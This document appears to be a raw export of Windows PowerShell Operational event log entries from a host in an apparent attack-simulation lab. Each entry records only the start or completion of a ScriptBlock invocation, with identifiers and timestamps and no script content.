SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025369
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025368
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025367
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025366
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025365
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025364
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025363
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025362
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025361
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025360
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025359
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025358
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025357
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025356
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025355
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025354
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025353
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025352
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025351
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025350
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025349
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025348
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025347
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025346
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025345
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025344
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025343
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025342
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025341
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025340
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025339
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025338
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025337
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025336
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025335
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025334
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025333
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025332
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025331
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025330
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025329
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025328
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025327
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025326
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025325
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025324
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025323
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025322
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025321
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025320
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025319
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025318
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025317
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025316
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
